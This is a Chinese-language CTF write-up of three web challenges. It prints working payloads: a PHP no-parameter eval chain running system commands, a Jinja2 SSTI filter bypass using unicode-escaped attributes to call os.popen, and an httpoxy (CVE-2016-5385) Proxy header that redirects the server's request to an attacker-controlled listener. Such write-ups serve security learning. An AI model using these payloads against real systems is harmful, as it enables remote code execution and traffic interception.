前言

2022年第一次ctf,前百分之50都有奖,所以也来玩玩~,也只打到了60名,web有5道也只出了三道,还是有待提高啊。

WEB

RCE_No_Para

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
    if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
        eval($_GET['code']);
    }else{
        die("Hacker!");
    }
}else{
    show_source(__FILE__);
}
?>

这个正则很明显告诉了要用无参rce,但是他把session和一些方法过滤了,可以用get_defined_vars()来绕过。限制了end,不过直接把变量定义在前面然后用current就好了。先看一下变量的位置

array里面有两个数组,get传参的变量是第一个数组里面的第一个,用两个current得到a的值后,eval就好了。解释一下为什么要用两个eval,以前不太理解,最近做了很多php才弄明白,因为eval里面相当于是php代码,而eval只会解析一次,在php代码里面,如果有括号的话,会被识别为函数,然后去实现这个函数功能,也就是说,遇见括号解析功能,相当于解析了一次,所以第一个eval功能是解析函数,也就是返回变量字符串,所以题目中还需要一个eval去执行代码。

然后直接构造payload打就好了
payload:

?a=system('ls');&code=eval(current(current(get_defined_vars())));

?a=system('cat flag.php');&code=eval(current(current(get_defined_vars())));

flask

f12查看源码,大概意思是说传的东西需要.js?结尾,不然就查看你开头是不是login,不是就返回login,但是提示中又叫你进入/admin页面,直接/admin后面用?就好了 /admin?.js?,这样服务器会认为你传参为.js?不会报错,也能绕过
进入admin页面后提示传参name
随便传一个/admin?name={{2*3}}.js?
页面上直接就有回显,网上找payload直接打,但发现回显是no,说明有过滤,简单fuzz了一下,发现主要是过滤了双下划线和[],找一下绕过方法,找到了这篇文章直接用unicode和attr绕过就好了。

admin?name={%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls%20/")|attr("read")()%}.js?

admin?name={%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22cat /flag%22)|attr(%22read%22)()%}.js?

Flag 配送中心

打开环境f12

根据注释网上搜一下就好了
看一下这篇文章:CVE-2016-5385
题目说了Flag已发送至www.yunyansec.com,php环境也是5.6.23刚好满足漏洞条件(5.6.24就已经不满足了)也就是说我们只需要通过这个漏洞设置一个代理服务器就好了。
服务器开一个端口监听
burp抓个包在headers里面添加proxy:http://yourip/ (!!要注意最后面还有个斜杠)然后发包过去在服务器上面就收到了。